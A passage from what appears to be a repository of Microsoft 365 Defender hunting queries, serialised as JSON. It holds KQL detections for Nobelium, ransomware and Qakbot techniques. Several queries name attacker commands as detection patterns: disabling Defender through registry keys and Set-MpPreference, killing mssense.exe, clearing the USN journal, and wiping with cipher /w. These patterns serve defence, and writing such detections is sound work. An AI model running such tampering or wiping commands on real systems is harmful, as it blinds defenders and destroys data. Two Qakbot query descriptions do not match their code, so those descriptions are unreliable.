[Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](./ADFSDomainTrustMods[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](./MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender\n"
  },
  {
    "path": "Defense evasion/MailPermissionsAddedToApplication[Nobelium].md",
    "content": "# Mail.Read or Mail.ReadWrite permissions added to OAuth application\n\nThis query will find applications that have been granted Mail.Read or Mail.ReadWrite permissions in which the corresponding user recently consented to. It can help identify applications that have been abused to gain access to user email.\n\nThe actor, Nobelium, was observed modifying existing tenant application permissions to allow them to read user email through the Microsoft Graph API. See [*Customer Guidance on Recent Nation-State Cyber Attacks*](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/).\n\nThis query is insprired by an Azure Sentinel [detection](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/MailPermissionsAddedToApplication.yaml).\n\n## Query\n\n```Kusto\nlet auditLookback = 1d;\nCloudAppEvents\n| where Timestamp > ago(auditLookback)\n| where ActionType == \"Add delegated permission grant.\"\n| extend RawEventData = parse_json(RawEventData)\n| where RawEventData.ResultStatus =~ \"success\"\n| extend UserId = tostring(RawEventData.UserId)\n| extend UserAgent = parse_json(replace('-','',tostring(RawEventData.ExtendedPRoperties[0].Value))).UserAgent\n| extend properties = RawEventData.ModifiedProperties\n| mvexpand properties\n| extend Permissions = properties.NewValue\n| where Permissions has_any (\"Mail.Read\", \"Mail.ReadWrite\")\n| extend PermissionsAddedTo = tostring(RawEventData.Target[3].ID) // Get target of permissions\n| project-away properties, RawEventData\n| join kind=leftouter (CloudAppEvents\n    | where Timestamp > ago(auditLookback)\n    | where ActionType == \"Consent to application.\"\n    | where isnotempty(AccountDisplayName)\n    | extend RawEventData = parse_json(RawEventData)\n    | extend UserId = tostring(RawEventData.UserId)\n    | extend targetInfo = RawEventData.Target\n    | extend AppName = tostring(targetInfo[3].ID) // Find app name\n    | extend AppId = tostring(targetInfo[4].ID) // Find appId\n    | project ConsentTimestamp=Timestamp, UserId, AccountDisplayName, AppName, AppId\n) on UserId\n| extend ConsentTimestamp = todatetime(format_datetime(ConsentTimestamp, 'MM/dd/yyyy HH:mm')) // Ensure app consent happend close to the same time as the permissions were granted\n| extend PermsTimestamp = todatetime(format_datetime(Timestamp, 'MM/dd/yyyy HH:mm'))\n| where PermsTimestamp -2m <= ConsentTimestamp // ensure consent happened near permissions grant\n| where PermsTimestamp +2m >= ConsentTimestamp\n| project Timestamp, ActionType, InitiatingUser=AccountDisplayName, UserId, InitiatingIP=IPAddress, UserAgent, PermissionsAddedTo, AppName, AppId\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | V |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](./ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](./Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Blake Strom\n**GitHub alias:** @bstrom\n**Organization:** Microsoft 365 Defender\n**Contact info:** blstrom@microsoft.com"
  },
  {
    "path": "Defense evasion/PotentialMicrosoftDefenderTampering[Solarigate].md",
    "content": "#  Potential Microsoft Defender services tampering\nIdentifies potential service tampering related to Microsoft Defender services.\n\nQuery insprired by Azure Sentinel detection https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/MultipleDataSources/PotentialMicrosoftDefenderTampering.yaml\n## Query\n```\nlet includeProc = dynamic([\"sc.exe\",\"net1.exe\",\"net.exe\", \"taskkill.exe\", \"cmd.exe\", \"powershell.exe\"]);\nlet action = dynamic([\"stop\",\"disable\", \"delete\"]);\nlet service1 = dynamic(['sense', 'windefend', 'mssecflt']);\nlet service2 = dynamic(['sense', 'windefend', 'mssecflt', 'healthservice']);\nlet params1 = dynamic([\"-DisableRealtimeMonitoring\", \"-DisableBehaviorMonitoring\" ,\"-DisableIOAVProtection\"]);\nlet params2 = dynamic([\"sgrmbroker.exe\", \"mssense.exe\"]);\nlet regparams1 = dynamic(['reg add \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\"', 'reg add \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Advanced Threat Protection\"']);\nlet regparams2 = dynamic(['ForceDefenderPassiveMode', 'DisableAntiSpyware']);\nlet regparams3 = dynamic(['sense', 'windefend']);\nlet regparams4 = dynamic(['demand', 'disabled']);\nlet timeframe = 1d;\n DeviceProcessEvents\n  | where Timestamp >= ago(timeframe)\n  | where InitiatingProcessFileName in~ (includeProc)\n  | where (InitiatingProcessCommandLine has_any(action) and InitiatingProcessCommandLine has_any (service2) and InitiatingProcessParentFileName != 'cscript.exe')\n  or (InitiatingProcessCommandLine has_any (params1) and InitiatingProcessCommandLine has 'Set-MpPreference' and InitiatingProcessCommandLine has '$true') \n  or (InitiatingProcessCommandLine has_any (params2) and InitiatingProcessCommandLine has \"/IM\") \n  or (InitiatingProcessCommandLine has_any (regparams1) and InitiatingProcessCommandLine has_any (regparams2) and InitiatingProcessCommandLine has '/d 1') \n  or (InitiatingProcessCommandLine has_any(\"start\") and InitiatingProcessCommandLine has \"config\" and InitiatingProcessCommandLine has_any (regparams3) and InitiatingProcessCommandLine has_any (regparams4))\n  | extend Account = iff(isnotempty(InitiatingProcessAccountUpn), InitiatingProcessAccountUpn, InitiatingProcessAccountName), Computer = DeviceName\n  | project Timestamp, Computer, Account, AccountDomain, ProcessName = InitiatingProcessFileName, ProcessNameFullPath = FolderPath, Activity = ActionType, CommandLine = InitiatingProcessCommandLine, InitiatingProcessParentFileName\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion | V |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n**Contributor:** Stefan Sellmer\n**GitHub alias:** @stesell\n**Organization:** Microsoft 365 Defender\n**Contact info:** stesell@microsoft.com"
  },
  {
    "path": "Defense evasion/UpdateStsRefreshToken[Solorigate].md",
    "content": "# Security Token Service (STS) refresh token modifications\nThis will show Active Directory Security Token Service (STS) refresh token modifications by Service Principals and Applications other than DirectorySync. Refresh tokens are used to validate identification and obtain access tokens. This event is most often generated when legitimate administrators troubleshoot frequent AAD user sign-ins but may also be generated as a result of malicious token extensions. Confirm that the activity is related to an administrator legitimately modifying STS refresh tokens and check the new token validation time period for high values.\n\nQuery insprired by Azure Sentinel detection https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/StsRefreshTokenModification.yaml\n## Query\n```\nCloudAppEvents \n| where ActionType == \"Update StsRefreshTokenValidFrom Timestamp.\"\n| where RawEventData !has \"Directorysync\"\n| extend displayName = RawEventData.ModifiedProperties[0].Name  \n| where displayName == \"StsRefreshTokensValidFrom\"\n| extend oldValue = RawEventData.ModifiedProperties[0].OldValue\n| extend newValue = RawEventData.ModifiedProperties[0].NewValue\n| extend oldStsRefreshValidFrom = todatetime(parse_json(tostring(oldValue))[0])\n| extend newStsRefreshValidFrom = todatetime(parse_json(tostring(newValue))[0])\n| extend tokenMinutesAdded = datetime_diff('minute',newStsRefreshValidFrom,oldStsRefreshValidFrom)\n| extend tokenMinutesRemaining = datetime_diff('minute',Timestamp,newStsRefreshValidFrom)\n| extend Role = parse_json(RawEventData.Actor[-1]).ID\n| distinct AccountObjectId, AccountDisplayName, tostring(Role), IPAddress, IsAnonymousProxy, ISP, tokenMinutesAdded, tokenMinutesRemaining\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion | V |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n**Contributor:** Stefan Sellmer\n**GitHub alias:** @stesell\n**Organization:** Microsoft 365 Defender\n**Contact info:** stesell@microsoft.com"
  },
  {
    "path": "Defense evasion/alt-data-streams.md",
    "content": "# Detect use of Alternate Data Streams\n\nThis query was originally published in the threat analytics report, *Ransomware continues to hit healthcare, critical services*. There is also a related [blog](https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/).\n\nIn April of 2020, security researchers observed multiple ransomware campaigns using the same set of techniques.\n\nThe following query detects suspicious use of [Alternate Data Streams](https://docs.microsoft.com/sysinternals/downloads/streams) (ADS), which may indicate an attempt to mask malicious activity. These campaigns have been known to deploy ransomware in-memory and exploit ADS.\n\nThe [See also](#see=also) section below lists more queries related to techniques shared by these campaigns.\n\n## Query\n\n```Kusto\n// Alternate Data Streams execution \nDeviceProcessEvents \n| where Timestamp > ago(7d) \n// Command lines used \n| where ProcessCommandLine startswith \"-q -s\" and ProcessCommandLine hasprefix \"-p\" \n// Removing IDE processes \nand not(FolderPath has_any(\"visual studio\", \"ide\")) \n| summarize make_set(ProcessCommandLine), make_set(FolderPath), \nmake_set(InitiatingProcessCommandLine) by DeviceId, bin(Timestamp, 1h)\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n[Return backup files deletion events](../Impact/backup-deletion.md)\n[Detect attempts to turn off System Restore](./turn-off-system-restore.md)\n[Detect cipher.exe deleting data](./deleting-data-w-cipher-tool.md)\n[Detect clearing of system logs](./clear-system-logs.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team"
  },
  {
    "path": "Defense evasion/clear-system-logs.md",
    "content": "# Detect clearing of system logs\n\nThis query was originally published in the threat analytics report, *Ransomware continues to hit healthcare, critical services*. There is also a related [blog](https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/).\n\nIn April of 2020, security researchers observed multiple ransomware campaigns using the same set of techniques.\n\nThe following query detects attempts to use *fsutil.exe* to clear system logs and delete forensic artifacts.\n\nThe [See also](#see=also) section below lists more queries related to techniques shared by these campaigns.\n\n## Query\n\n```Kusto\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where FileName =~ \"fsutil.exe\"\nand ProcessCommandLine has \"usn\" and ProcessCommandLine has \"deletejournal\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n[Return backup files deletion events](../Impact/backup-deletion.md)\n[Detect use of Alternate Data Streams](./alt-data-streams.md)\n[Detect attempts to turn off System Restore](./turn-off-system-restore.md)\n[Detect cipher.exe deleting data](./deleting-data-w-cipher-tool.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Defense evasion/deleting-data-w-cipher-tool.md",
    "content": "# Detect cipher.exe deleting data\n\nThis query was originally published in the threat analytics report, *Ransomware continues to hit healthcare, critical services*. There is also a related [blog](https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/).\n\nIn April of 2020, security researchers observed multiple ransomware campaigns using the same set of techniques.\n\nThe following query detects the use of the tool *cipher.exe* to delete indicators of malicious activity right before encrypting a drive.\n\nThe [See also](#see=also) section below lists more queries related to techniques shared by these campaigns.\n\n## Query\n\n```Kusto\n​DeviceProcessEvents \n| where Timestamp > ago(7d)  \n| where FileName =~ \"cipher.exe\"  \n// Looking for /w flag for deleting  \n| where ProcessCommandLine has \"/w\"  \n| summarize CommandCount = dcount(ProcessCommandLine), \nmake_set(ProcessCommandLine) by DeviceId, bin(Timestamp, 1m)  \n// Looking for multiple drives in a short timeframe  \n| where CommandCount > 1\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n[Return backup files deletion events](../Impact/backup-deletion.md)\n[Detect use of Alternate Data Streams](./alt-data-streams.md)\n[Detect attempts to turn off System Restore](./turn-off-system-restore.md)\n[Detect clearing of system logs](./clear-system-logs.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team"
  },
  {
    "path": "Defense evasion/doppelpaymer-stop-services.md",
    "content": "# Detect DoppelPaymer operators stopping services\n\nThis query was originally published in the threat analytics report, *Doppelpaymer: More human-operated ransomware*. There is also a related [blog](https://msrc-blog.microsoft.com/2019/11/20/customer-guidance-for-the-dopplepaymer-ransomware/).\n\n[DoppelPaymer](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/DoppelPaymer!MTB&threatId=-2147205372) is ransomware that is spread manually by human operators. These operators have exhibited extensive knowledge of system administration and common network security misconfigurations. They often use stolen credentials from over-privileged service accounts to turn off security software, run malicious commands, and spread malware throughout an organization.\n\nThe following query detects attempts to stop security services.\n\nThe [See also](#See-also) section below lists links to other queries associated with DoppelPaymer.\n\n## Query\n\n```Kusto\n// Attempts to stop services and allow ransomware execution\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where InitiatingProcessFileName startswith \"psexe\" and FileName =~ \"powershell.exe\" and \nProcessCommandLine has \"stop-service\"\nand ProcessCommandLine has \"sql\" and ProcessCommandLine has \"msexchange\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Detect DoppelPaymer performing reconnaissance with net.exe](../Discovery/doppelpaymer.md)\n* [Detect DoppelPaymer operators spreading files with PsExec](../Lateral%20Movement/doppelpaymer-psexec.md)\n* [Detect DoppelPaymer operators dumping credentials with ProcDump](../Credential%20Access/doppelpaymer-procdump.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Defense evasion/hiding-java-class-file.md",
    "content": "# Hiding a Java class file\n\nThis query was originally published in the threat analytics report, *Adwind utilizes Java for cross-platform impact*.\n\nAdwind is a remote access tool (RAT) that takes advantage of the cross-platform capabilities of the Java framework. It can check which operating system a target is running and adapt accordingly, allowing it to successfully compromise both Windows and macOS devices.\n\nThe query below checks for attempts to disguise Java class files (i.e., complied code with a *.class* extension). Although the behavior detected by this query is typical of attacks that use Adwind malware, unrelated attacks may use the same or similar defense evasion techniques.\n\nSee [Detecting a JAR attachment](../Initial%20access/jar-attachments.md) for an additional query that detects behavior associated with Adwind attacks.\n\n## Query\n\n```kusto\nunion DeviceFileEvents, DeviceProcessEvents\n| where ProcessCommandLine has \"attrib +h +s +r \" \nand ProcessCommandLine contains \".class\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Defense evasion/locate-files-possibly-signed-by-fraudulent-ecc-certificates.md",
    "content": "# Locate files possibly signed by fraudulent ECC certificates\n\nThis query was originally published in the threat analytics report, *CVE-2020-0601 certificate validation vulnerability*.\n\nThe Windows CryptoAPI Spoofing Vulnerability, [CVE-2020-0601](https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-0601), can be exploited to spoof code-signing certificates. For example, an attacker could forge a certificate that lists Microsoft as the issuer. This would allow an attacker to disguise a malicious executable as legitimate.\n\nThe vulnerability was patched with the [January 2020 Security Update](https://portal.msrc.microsoft.com/security-guidance/releasenotedetail/2020-Jan).\n\nUse the following query to locate files containing ECC certificates that might have been forged using this vulnerability. The query identifies files that don't correctly identify the signer name, yet list *Microsoft* as the root signer.\n\n## Query\n\n```\nDeviceFileCertificateInfo\n| where Timestamp > ago(30d)\n| where IsSigned == 1 and IsTrusted == 1 and IsRootSignerMicrosoft == 1\n| where SignatureType == \"Embedded\"\n| where Issuer !startswith \"Microsoft\" and Issuer !startswith \"Windows\"\n| project Timestamp, DeviceName,SHA1,Issuer,IssuerHash,Signer,SignerHash,\nCertificateCreationTime,CertificateExpirationTime,CrlDistributionPointUrls\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection Team\n"
  },
  {
    "path": "Defense evasion/qakbot-campaign-process-injection.md",
    "content": "# Process injection by Qakbot malware\n\nThis query was originally published in the threat analytics report, *Qakbot blight lingers, seeds ransomware*\n\n[Qakbot](https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/) is malware that steals login credentials from banking and financial services. It has been deployed against small businesses as well as major corporations. Some outbreaks have involved targeted ransomware campaigns that use a similar set of techniques. Links to related queries are listed under [See also](#See-also).\n\nThe following query detects if Qakbot has injected code into the *ping.exe* process, to evade security and access credentials.\n\n## Query\n\n```Kusto\nDeviceProcessEvents\n| where FileName == \"esentutl.exe\"\n| where ProcessCommandLine has \"WebCache\"\n| where ProcessCommandLine has_any (\"V01\", \"/s\", \"/d\")\n| project ProcessCommandLine, InitiatingProcessParentFileName, \nDeviceId, Timestamp\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access | v |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Registry edits by campaigns using Qakbot malware](..\\Persistence\\qakbot-campaign-self-deletion.md)\n* [Self-deletion by Qakbot malware](..\\Defense&#32;evasion\\qakbot-campaign-registry-edit.md)\n* [Browser cookie theft by campaigns using Qakbot malware](..\\Discovery\\qakbot-campaign-esentutl.md)\n* [Outlook email access by campaigns using Qakbot malware](..\\Discovery\\qakbot-campaign-outlook.md)\n* [Javascript use by Qakbot malware](..\\Execution\\qakbot-campaign-suspicious-javascript.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Defense evasion/qakbot-campaign-self-deletion.md",
    "content": "# Self-deletion by Qakbot malware\n\nThis query was originally published in the threat analytics report, *Qakbot blight lingers, seeds ransomware*\n\n[Qakbot](https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/) is malware that steals login credentials from banking and financial services. It has been deployed against small businesses as well as major corporations. Some outbreaks have involved targeted ransomware campaigns that use a similar set of techniques. Links to related queries are listed under [See also](#See-also).\n\nThe following query detects if an instance of Qakbot has attempted to overwrite its original binary.\n\n## Query\n\n```Kusto\nDeviceProcessEvents \n| where FileName =~ \"ping.exe\"\n| where InitiatingProcessFileName =~ \"cmd.exe\"\n| where InitiatingProcessCommandLine has \"calc.exe\" and\nInitiatingProcessCommandLine has \"-n 6\" \nand InitiatingProcessCommandLine has \"127.0.0.1\"\n| project ProcessCommandLine, InitiatingProcessCommandLine,\nInitiatingProcessParentFileName, DeviceId, Timestamp\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Registry edits by campaigns using Qakbot malware](..\\Persistence\\qakbot-campaign-registry-edit.md)\n* [Process injection by Qakbot malware](..\\Defense&#32;evasion\\qakbot-campaign-process-injection.md)\n* [Browser cookie theft by campaigns using Qakbot malware](..\\Discovery\\qakbot-campaign-esentutl.md)\n* [Outlook email access by campaigns using Qakbot malware](..\\Discovery\\qakbot-campaign-outlook.md)\n* [Javascript use by Qakbot malware](..\\Execution\\qakbot-campaign-suspicious-javascript.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Delivery/Doc attachment with link to download.txt",
